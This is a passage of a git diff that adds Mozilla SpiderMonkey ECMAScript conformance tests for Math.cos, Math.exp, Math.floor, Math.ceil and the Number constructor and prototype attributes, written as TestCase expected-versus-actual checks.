+ 2,
+ Math.ceil( 1.1));
+
+new TestCase( SECTION,
+ "Math.ceil(Infinity)",
+ -Math.floor(-Infinity),
+ Math.ceil(Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.ceil(-Infinity)",
+ -Math.floor(Infinity),
+ Math.ceil(Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.ceil(-Number.MIN_VALUE)",
+ -Math.floor(Number.MIN_VALUE),
+ Math.ceil(-Number.MIN_VALUE) );
+
+new TestCase( SECTION,
+ "Math.ceil(1)",
+ -Math.floor(-1),
+ Math.ceil(1) );
+
+new TestCase( SECTION,
+ "Math.ceil(-1)",
+ -Math.floor(1),
+ Math.ceil(-1) );
+
+new TestCase( SECTION,
+ "Math.ceil(-0.9)",
+ -Math.floor(0.9),
+ Math.ceil(-0.9) );
+
+new TestCase( SECTION,
+ "Math.ceil(0.9 )",
+ -Math.floor(-0.9),
+ Math.ceil( 0.9) );
+
+new TestCase( SECTION,
+ "Math.ceil(-1.1)",
+ -Math.floor(1.1),
+ Math.ceil( -1.1));
+
+new TestCase( SECTION,
+ "Math.ceil( 1.1)",
+ -Math.floor(-1.1),
+ Math.ceil( 1.1));
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.7.js b/js/src/tests/ecma/Math/15.8.2.7.js
new file mode 100644
index 000000000..fd1e798c5
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.7.js
@@ -0,0 +1,249 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.7.js
+ ECMA Section: 15.8.2.7 cos( x )
+ Description: return an approximation to the cosine of the
+ argument. argument is expressed in radians
+ Author: christine@netscape.com
+ Date: 7 july 1997
+
+*/
+
+var SECTION = "15.8.2.7";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.cos(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.cos.length",
+ 1,
+ Math.cos.length );
+
+new TestCase( SECTION,
+ "Math.cos()",
+ Number.NaN,
+ Math.cos() );
+
+new TestCase( SECTION,
+ "Math.cos(void 0)",
+ Number.NaN,
+ Math.cos(void 0) );
+
+new TestCase( SECTION,
+ "Math.cos(false)",
+ 1,
+ Math.cos(false) );
+
+new TestCase( SECTION,
+ "Math.cos(null)",
+ 1,
+ Math.cos(null) );
+
+new TestCase( SECTION,
+ "Math.cos('0')",
+ 1,
+ Math.cos('0') );
+
+new TestCase( SECTION,
+ "Math.cos('Infinity')",
+ Number.NaN,
+ Math.cos("Infinity") );
+
+new TestCase( SECTION,
+ "Math.cos('3.14159265359')",
+ -1,
+ Math.cos('3.14159265359') );
+
+new TestCase( SECTION,
+ "Math.cos(NaN)",
+ Number.NaN,
+ Math.cos(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.cos(0)",
+ 1,
+ Math.cos(0) );
+
+new TestCase( SECTION,
+ "Math.cos(-0)",
+ 1,
+ Math.cos(-0) );
+
+new TestCase( SECTION,
+ "Math.cos(Infinity)",
+ Number.NaN,
+ Math.cos(Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.cos(-Infinity)",
+ Number.NaN,
+ Math.cos(Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.cos(0.7853981633974)",
+ 0.7071067811865,
+ Math.cos(0.7853981633974) );
+
+new TestCase( SECTION,
+ "Math.cos(1.570796326795)",
+ 0,
+ Math.cos(1.570796326795) );
+
+new TestCase( SECTION,
+ "Math.cos(2.356194490192)",
+ -0.7071067811865,
+ Math.cos(2.356194490192) );
+
+new TestCase( SECTION,
+ "Math.cos(3.14159265359)",
+ -1,
+ Math.cos(3.14159265359) );
+
+new TestCase( SECTION,
+ "Math.cos(3.926990816987)",
+ -0.7071067811865,
+ Math.cos(3.926990816987) );
+
+new TestCase( SECTION,
+ "Math.cos(4.712388980385)",
+ 0,
+ Math.cos(4.712388980385) );
+
+new TestCase( SECTION,
+ "Math.cos(5.497787143782)",
+ 0.7071067811865,
+ Math.cos(5.497787143782) );
+
+new TestCase( SECTION,
+ "Math.cos(Math.PI*2)",
+ 1,
+ Math.cos(Math.PI*2) );
+
+new TestCase( SECTION,
+ "Math.cos(Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(Math.PI/4) );
+
+new TestCase( SECTION,
+ "Math.cos(Math.PI/2)",
+ 0,
+ Math.cos(Math.PI/2) );
+
+new TestCase( SECTION,
+ "Math.cos(3*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(3*Math.PI/4) );
+
+new TestCase( SECTION,
+ "Math.cos(Math.PI)",
+ -1,
+ Math.cos(Math.PI) );
+
+new TestCase( SECTION,
+ "Math.cos(5*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(5*Math.PI/4) );
+
+new TestCase( SECTION,
+ "Math.cos(3*Math.PI/2)",
+ 0,
+ Math.cos(3*Math.PI/2) );
+
+new TestCase( SECTION,
+ "Math.cos(7*Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(7*Math.PI/4) );
+
+new TestCase( SECTION,
+ "Math.cos(Math.PI*2)",
+ 1,
+ Math.cos(2*Math.PI) );
+
+new TestCase( SECTION,
+ "Math.cos(-0.7853981633974)",
+ 0.7071067811865,
+ Math.cos(-0.7853981633974) );
+
+new TestCase( SECTION,
+ "Math.cos(-1.570796326795)",
+ 0,
+ Math.cos(-1.570796326795) );
+
+new TestCase( SECTION,
+ "Math.cos(-2.3561944901920)",
+ -.7071067811865,
+ Math.cos(2.3561944901920) );
+
+new TestCase( SECTION,
+ "Math.cos(-3.14159265359)",
+ -1,
+ Math.cos(3.14159265359) );
+
+new TestCase( SECTION,
+ "Math.cos(-3.926990816987)",
+ -0.7071067811865,
+ Math.cos(3.926990816987) );
+
+new TestCase( SECTION,
+ "Math.cos(-4.712388980385)",
+ 0,
+ Math.cos(4.712388980385) );
+
+new TestCase( SECTION,
+ "Math.cos(-5.497787143782)",
+ 0.7071067811865,
+ Math.cos(5.497787143782) );
+
+new TestCase( SECTION,
+ "Math.cos(-6.28318530718)",
+ 1,
+ Math.cos(6.28318530718) );
+
+new TestCase( SECTION,
+ "Math.cos(-Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(-Math.PI/4) );
+
+new TestCase( SECTION,
+ "Math.cos(-Math.PI/2)",
+ 0,
+ Math.cos(-Math.PI/2) );
+
+new TestCase( SECTION,
+ "Math.cos(-3*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(-3*Math.PI/4) );
+
+new TestCase( SECTION,
+ "Math.cos(-Math.PI)",
+ -1,
+ Math.cos(-Math.PI) );
+
+new TestCase( SECTION,
+ "Math.cos(-5*Math.PI/4)",
+ -Math.SQRT2/2,
+ Math.cos(-5*Math.PI/4) );
+
+new TestCase( SECTION,
+ "Math.cos(-3*Math.PI/2)",
+ 0,
+ Math.cos(-3*Math.PI/2) );
+
+new TestCase( SECTION,
+ "Math.cos(-7*Math.PI/4)",
+ Math.SQRT2/2,
+ Math.cos(-7*Math.PI/4) );
+
+new TestCase( SECTION,
+ "Math.cos(-Math.PI*2)",
+ 1,
+ Math.cos(-Math.PI*2) );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.8.js b/js/src/tests/ecma/Math/15.8.2.8.js
new file mode 100644
index 000000000..54b68c7e1
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.8.js
@@ -0,0 +1,100 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.8.js
+ ECMA Section: 15.8.2.8 Math.exp(x)
+ Description: return an approximation to the exponential function of
+ the argument (e raised to the power of the argument)
+ special cases:
+ - if x is NaN return NaN
+ - if x is 0 return 1
+ - if x is -0 return 1
+ - if x is Infinity return Infinity
+ - if x is -Infinity return 0
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+
+var SECTION = "15.8.2.8";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.exp(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.exp.length",
+ 1,
+ Math.exp.length );
+
+new TestCase( SECTION,
+ "Math.exp()",
+ Number.NaN,
+ Math.exp() );
+
+new TestCase( SECTION,
+ "Math.exp(null)",
+ 1,
+ Math.exp(null) );
+
+new TestCase( SECTION,
+ "Math.exp(void 0)",
+ Number.NaN,
+ Math.exp(void 0) );
+
+new TestCase( SECTION,
+ "Math.exp(1)",
+ Math.E,
+ Math.exp(1) );
+
+new TestCase( SECTION,
+ "Math.exp(true)",
+ Math.E,
+ Math.exp(true) );
+
+new TestCase( SECTION,
+ "Math.exp(false)",
+ 1,
+ Math.exp(false) );
+
+new TestCase( SECTION,
+ "Math.exp('1')",
+ Math.E,
+ Math.exp('1') );
+
+new TestCase( SECTION,
+ "Math.exp('0')",
+ 1,
+ Math.exp('0') );
+
+new TestCase( SECTION,
+ "Math.exp(NaN)",
+ Number.NaN,
+ Math.exp(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.exp(0)",
+ 1,
+ Math.exp(0) );
+
+new TestCase( SECTION,
+ "Math.exp(-0)",
+ 1,
+ Math.exp(-0) );
+
+new TestCase( SECTION,
+ "Math.exp(Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.exp(Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.exp(-Infinity)",
+ 0,
+ Math.exp(Number.NEGATIVE_INFINITY) );
+
+test();
diff --git a/js/src/tests/ecma/Math/15.8.2.9.js b/js/src/tests/ecma/Math/15.8.2.9.js
new file mode 100644
index 000000000..9fe0ab1db
--- /dev/null
+++ b/js/src/tests/ecma/Math/15.8.2.9.js
@@ -0,0 +1,157 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.8.2.9.js
+ ECMA Section: 15.8.2.9 Math.floor(x)
+ Description: return the greatest number value that is not greater
+ than the argument and is equal to a mathematical integer.
+ if the number is already an integer, return the number
+ itself. special cases:
+ - if x is NaN return NaN
+ - if x = +0 return +0
+ - if x = -0 return -0
+ - if x = Infinity return Infinity
+ - if x = -Infinity return -Infinity
+ - if ( -1 < x < 0 ) return -0
+ also:
+ - the value of Math.floor(x) == -Math.ceil(-x)
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.8.2.9";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Math.floor(x)";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "Math.floor.length",
+ 1,
+ Math.floor.length );
+
+new TestCase( SECTION,
+ "Math.floor()",
+ Number.NaN,
+ Math.floor() );
+
+new TestCase( SECTION,
+ "Math.floor(void 0)",
+ Number.NaN,
+ Math.floor(void 0) );
+
+new TestCase( SECTION,
+ "Math.floor(null)",
+ 0,
+ Math.floor(null) );
+
+new TestCase( SECTION,
+ "Math.floor(true)",
+ 1,
+ Math.floor(true) );
+
+new TestCase( SECTION,
+ "Math.floor(false)",
+ 0,
+ Math.floor(false) );
+
+new TestCase( SECTION,
+ "Math.floor('1.1')",
+ 1,
+ Math.floor("1.1") );
+
+new TestCase( SECTION,
+ "Math.floor('-1.1')",
+ -2,
+ Math.floor("-1.1") );
+
+new TestCase( SECTION,
+ "Math.floor('0.1')",
+ 0,
+ Math.floor("0.1") );
+
+new TestCase( SECTION,
+ "Math.floor('-0.1')",
+ -1,
+ Math.floor("-0.1") );
+
+new TestCase( SECTION,
+ "Math.floor(NaN)",
+ Number.NaN,
+ Math.floor(Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.floor(NaN)==-Math.ceil(-NaN)",
+ false,
+ Math.floor(Number.NaN) == -Math.ceil(-Number.NaN) );
+
+new TestCase( SECTION,
+ "Math.floor(0)",
+ 0,
+ Math.floor(0) );
+
+new TestCase( SECTION,
+ "Math.floor(0)==-Math.ceil(-0)",
+ true,
+ Math.floor(0) == -Math.ceil(-0) );
+
+new TestCase( SECTION,
+ "Math.floor(-0)",
+ -0,
+ Math.floor(-0) );
+
+new TestCase( SECTION,
+ "Infinity/Math.floor(-0)",
+ -Infinity,
+ Infinity/Math.floor(-0) );
+
+new TestCase( SECTION,
+ "Math.floor(-0)==-Math.ceil(0)",
+ true,
+ Math.floor(-0)== -Math.ceil(0) );
+
+new TestCase( SECTION,
+ "Math.floor(Infinity)",
+ Number.POSITIVE_INFINITY,
+ Math.floor(Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.floor(Infinity)==-Math.ceil(-Infinity)",
+ true,
+ Math.floor(Number.POSITIVE_INFINITY) == -Math.ceil(Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.floor(-Infinity)",
+ Number.NEGATIVE_INFINITY,
+ Math.floor(Number.NEGATIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.floor(-Infinity)==-Math.ceil(Infinity)",
+ true,
+ Math.floor(Number.NEGATIVE_INFINITY) == -Math.ceil(Number.POSITIVE_INFINITY) );
+
+new TestCase( SECTION,
+ "Math.floor(0.0000001)",
+ 0,
+ Math.floor(0.0000001) );
+
+new TestCase( SECTION,
+ "Math.floor(0.0000001)==-Math.ceil(0.0000001)", true,
+ Math.floor(0.0000001)==-Math.ceil(-0.0000001) );
+
+new TestCase( SECTION,
+ "Math.floor(-0.0000001)",
+ -1,
+ Math.floor(-0.0000001) );
+
+new TestCase( SECTION,
+ "Math.floor(0.0000001)==-Math.ceil(0.0000001)",
+ true,
+ Math.floor(-0.0000001)==-Math.ceil(0.0000001) );
+
+test();
diff --git a/js/src/tests/ecma/Math/browser.js b/js/src/tests/ecma/Math/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Math/browser.js
diff --git a/js/src/tests/ecma/Math/shell.js b/js/src/tests/ecma/Math/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/Math/shell.js
diff --git a/js/src/tests/ecma/NativeObjects/browser.js b/js/src/tests/ecma/NativeObjects/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/NativeObjects/browser.js
diff --git a/js/src/tests/ecma/NativeObjects/shell.js b/js/src/tests/ecma/NativeObjects/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/NativeObjects/shell.js
diff --git a/js/src/tests/ecma/Number/0x-without-following-hexdigits.js b/js/src/tests/ecma/Number/0x-without-following-hexdigits.js
new file mode 100644
index 000000000..ffb329e5c
--- /dev/null
+++ b/js/src/tests/ecma/Number/0x-without-following-hexdigits.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 582643;
+var summary = "'0x' not followed by hex digits should be a syntax error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ eval("0x");
+ throw new Error("didn't throw parsing 0x (with no subsequent hex digits)");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "bad exception thrown: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/ecma/Number/15.7.1.js b/js/src/tests/ecma/Number/15.7.1.js
new file mode 100644
index 000000000..a1a7069de
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.1.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.1.js
+ ECMA Section: 15.7.1 The Number Constructor Called as a Function
+ 15.7.1.1
+ 15.7.1.2
+
+ Description: When Number is called as a function rather than as a
+ constructor, it performs a type conversion.
+ 15.7.1.1 Return a number value (not a Number object)
+ computed by ToNumber( value )
+ 15.7.1.2 Number() returns 0.
+
+ need to add more test cases. see the testcases for
+ TypeConversion ToNumber.
+
+ Author: christine@netscape.com
+ Date: 29 september 1997
+*/
+
+var SECTION = "15.7.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Number Constructor Called as a Function";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(SECTION, "Number()", 0, Number() );
+new TestCase(SECTION, "Number(void 0)", Number.NaN, Number(void 0) );
+new TestCase(SECTION, "Number(null)", 0, Number(null) );
+new TestCase(SECTION, "Number()", 0, Number() );
+new TestCase(SECTION, "Number(new Number())", 0, Number( new Number() ) );
+new TestCase(SECTION, "Number(0)", 0, Number(0) );
+new TestCase(SECTION, "Number(1)", 1, Number(1) );
+new TestCase(SECTION, "Number(-1)", -1, Number(-1) );
+new TestCase(SECTION, "Number(NaN)", Number.NaN, Number( Number.NaN ) );
+new TestCase(SECTION, "Number('string')", Number.NaN, Number( "string") );
+new TestCase(SECTION, "Number(new String())", 0, Number( new String() ) );
+new TestCase(SECTION, "Number('')", 0, Number( "" ) );
+new TestCase(SECTION, "Number(Infinity)", Number.POSITIVE_INFINITY, Number("Infinity") );
+
+new TestCase(SECTION, "Number(new MyObject(100))", 100, Number(new MyObject(100)) );
+
+test();
+
+function MyObject( value ) {
+ this.value = value;
+ this.valueOf = new Function( "return this.value" );
+}
diff --git a/js/src/tests/ecma/Number/15.7.2.js b/js/src/tests/ecma/Number/15.7.2.js
new file mode 100644
index 000000000..4be91d5ae
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.2.js
@@ -0,0 +1,134 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.2.js
+ ECMA Section: 15.7.2 The Number Constructor
+ 15.7.2.1
+ 15.7.2.2
+
+ Description: 15.7.2 When Number is called as part of a new
+ expression, it is a constructor: it initializes
+ the newly created object.
+
+ 15.7.2.1 The [[Prototype]] property of the newly
+ constructed object is set to othe original Number
+ prototype object, the one that is the initial value
+ of Number.prototype(0). The [[Class]] property is
+ set to "Number". The [[Value]] property of the
+ newly constructed object is set to ToNumber(value)
+
+ 15.7.2.2 new Number(). same as in 15.7.2.1, except
+ the [[Value]] property is set to +0.
+
+ need to add more test cases. see the testcases for
+ TypeConversion ToNumber.
+
+ Author: christine@netscape.com
+ Date: 29 september 1997
+*/
+
+var SECTION = "15.7.2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "The Number Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// To verify that the object's prototype is the Number.prototype, check to see if the object's
+// constructor property is the same as Number.prototype.constructor.
+
+new TestCase(SECTION, "(new Number()).constructor", Number.prototype.constructor, (new Number()).constructor );
+
+new TestCase(SECTION, "typeof (new Number())", "object", typeof (new Number()) );
+new TestCase(SECTION, "(new Number()).valueOf()", 0, (new Number()).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number();NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number();NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+new TestCase(SECTION, "(new Number(0)).constructor", Number.prototype.constructor, (new Number(0)).constructor );
+new TestCase(SECTION, "typeof (new Number(0))", "object", typeof (new Number(0)) );
+new TestCase(SECTION, "(new Number(0)).valueOf()", 0, (new Number(0)).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number(0);NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number(0);NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+new TestCase(SECTION, "(new Number(1)).constructor", Number.prototype.constructor, (new Number(1)).constructor );
+new TestCase(SECTION, "typeof (new Number(1))", "object", typeof (new Number(1)) );
+new TestCase(SECTION, "(new Number(1)).valueOf()", 1, (new Number(1)).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number(1);NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number(1);NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+new TestCase(SECTION, "(new Number(-1)).constructor", Number.prototype.constructor, (new Number(-1)).constructor );
+new TestCase(SECTION, "typeof (new Number(-1))", "object", typeof (new Number(-1)) );
+new TestCase(SECTION, "(new Number(-1)).valueOf()", -1, (new Number(-1)).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number(-1);NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number(-1);NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+new TestCase(SECTION, "(new Number(Number.NaN)).constructor", Number.prototype.constructor, (new Number(Number.NaN)).constructor );
+new TestCase(SECTION, "typeof (new Number(Number.NaN))", "object", typeof (new Number(Number.NaN)) );
+new TestCase(SECTION, "(new Number(Number.NaN)).valueOf()", Number.NaN, (new Number(Number.NaN)).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number(Number.NaN);NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number(Number.NaN);NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+new TestCase(SECTION, "(new Number('string')).constructor", Number.prototype.constructor, (new Number('string')).constructor );
+new TestCase(SECTION, "typeof (new Number('string'))", "object", typeof (new Number('string')) );
+new TestCase(SECTION, "(new Number('string')).valueOf()", Number.NaN, (new Number('string')).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number('string');NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number('string');NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+new TestCase(SECTION, "(new Number(new String())).constructor", Number.prototype.constructor, (new Number(new String())).constructor );
+new TestCase(SECTION, "typeof (new Number(new String()))", "object", typeof (new Number(new String())) );
+new TestCase(SECTION, "(new Number(new String())).valueOf()", 0, (new Number(new String())).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number(new String());NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number(new String());NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+new TestCase(SECTION, "(new Number('')).constructor", Number.prototype.constructor, (new Number('')).constructor );
+new TestCase(SECTION, "typeof (new Number(''))", "object", typeof (new Number('')) );
+new TestCase(SECTION, "(new Number('')).valueOf()", 0, (new Number('')).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number('');NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number('');NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+new TestCase(SECTION, "(new Number(Number.POSITIVE_INFINITY)).constructor", Number.prototype.constructor, (new Number(Number.POSITIVE_INFINITY)).constructor );
+new TestCase(SECTION, "typeof (new Number(Number.POSITIVE_INFINITY))", "object", typeof (new Number(Number.POSITIVE_INFINITY)) );
+new TestCase(SECTION, "(new Number(Number.POSITIVE_INFINITY)).valueOf()", Number.POSITIVE_INFINITY, (new Number(Number.POSITIVE_INFINITY)).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number(Number.POSITIVE_INFINITY);NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number(Number.POSITIVE_INFINITY);NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+new TestCase(SECTION, "(new Number(Number.NEGATIVE_INFINITY)).constructor", Number.prototype.constructor, (new Number(Number.NEGATIVE_INFINITY)).constructor );
+new TestCase(SECTION, "typeof (new Number(Number.NEGATIVE_INFINITY))", "object", typeof (new Number(Number.NEGATIVE_INFINITY)) );
+new TestCase(SECTION, "(new Number(Number.NEGATIVE_INFINITY)).valueOf()", Number.NEGATIVE_INFINITY, (new Number(Number.NEGATIVE_INFINITY)).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number(Number.NEGATIVE_INFINITY);NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number(Number.NEGATIVE_INFINITY);NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+
+new TestCase(SECTION, "(new Number()).constructor", Number.prototype.constructor, (new Number()).constructor );
+new TestCase(SECTION, "typeof (new Number())", "object", typeof (new Number()) );
+new TestCase(SECTION, "(new Number()).valueOf()", 0, (new Number()).valueOf() );
+new TestCase(SECTION,
+ "NUMB = new Number();NUMB.toString=Object.prototype.toString;NUMB.toString()",
+ "[object Number]",
+ eval("NUMB = new Number();NUMB.toString=Object.prototype.toString;NUMB.toString()") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.1-1.js b/js/src/tests/ecma/Number/15.7.3.1-1.js
new file mode 100644
index 000000000..7a1249d4d
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.1-1.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.1-2.js
+ ECMA Section: 15.7.3.1 Number.prototype
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontDelete attribute of Number.prototype
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+
+var SECTION = "15.7.3.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.prototype";
+
+writeHeaderToLog( SECTION +" "+ TITLE);
+
+new TestCase(SECTION,
+ "var NUM_PROT = Number.prototype; delete( Number.prototype ); NUM_PROT == Number.prototype",
+ true,
+ eval("var NUM_PROT = Number.prototype; delete( Number.prototype ); NUM_PROT == Number.prototype") );
+
+new TestCase(SECTION,
+ "delete( Number.prototype )",
+ false,
+ eval("delete( Number.prototype )") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.1-2.js b/js/src/tests/ecma/Number/15.7.3.1-2.js
new file mode 100644
index 000000000..51e53a04f
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.1-2.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.1-2.js
+ ECMA Section: 15.7.3.1 Number.prototype
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the ReadOnly attribute of Number.prototype
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+
+var SECTION = "15.7.3.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Number.prototype";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var NUM_PROT = Number.prototype; Number.prototype = null; Number.prototype == NUM_PROT",
+ true,
+ eval("var NUM_PROT = Number.prototype; Number.prototype = null; Number.prototype == NUM_PROT") );
+
+new TestCase( SECTION,
+ "Number.prototype=0; Number.prototype",
+ Number.prototype,
+ eval("Number.prototype=0; Number.prototype") );
+
+test();
diff --git a/js/src/tests/ecma/Number/15.7.3.1-3.js b/js/src/tests/ecma/Number/15.7.3.1-3.js
new file mode 100644
index 000000000..97d890386
--- /dev/null
+++ b/js/src/tests/ecma/Number/15.7.3.1-3.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.7.3.1-4.js
+ ECMA Section: 15.7.3.1 Number.prototype
+ Description: All value properties of the Number object should have
+ the attributes [DontEnum, DontDelete, ReadOnly]
+
+ this test checks the DontEnum attribute of Number.prototype
+
+ Author: christine@netscape.com
+ Date: 16 september 1997
+*/
+
+var VERSION = "ECMA_1";
+startTest();
+var SECTION = "15.7.3.1-3";
+var TITLE = "Number.prototype";
+
+writeHeaderToLog( SECTION + " Number.prototype: DontEnum Attribute");
+
+new TestCase(
+ SECTION,
+ "var string = ''; for ( prop in Number ) { string += ( prop == 'prototype' ) ? prop: '' } string;",
+ "",
+ eval("var string = ''; for ( prop in Number ) { string += ( prop == 'prototype' ) ? prop : '' } string;")
+ );
+
+test();
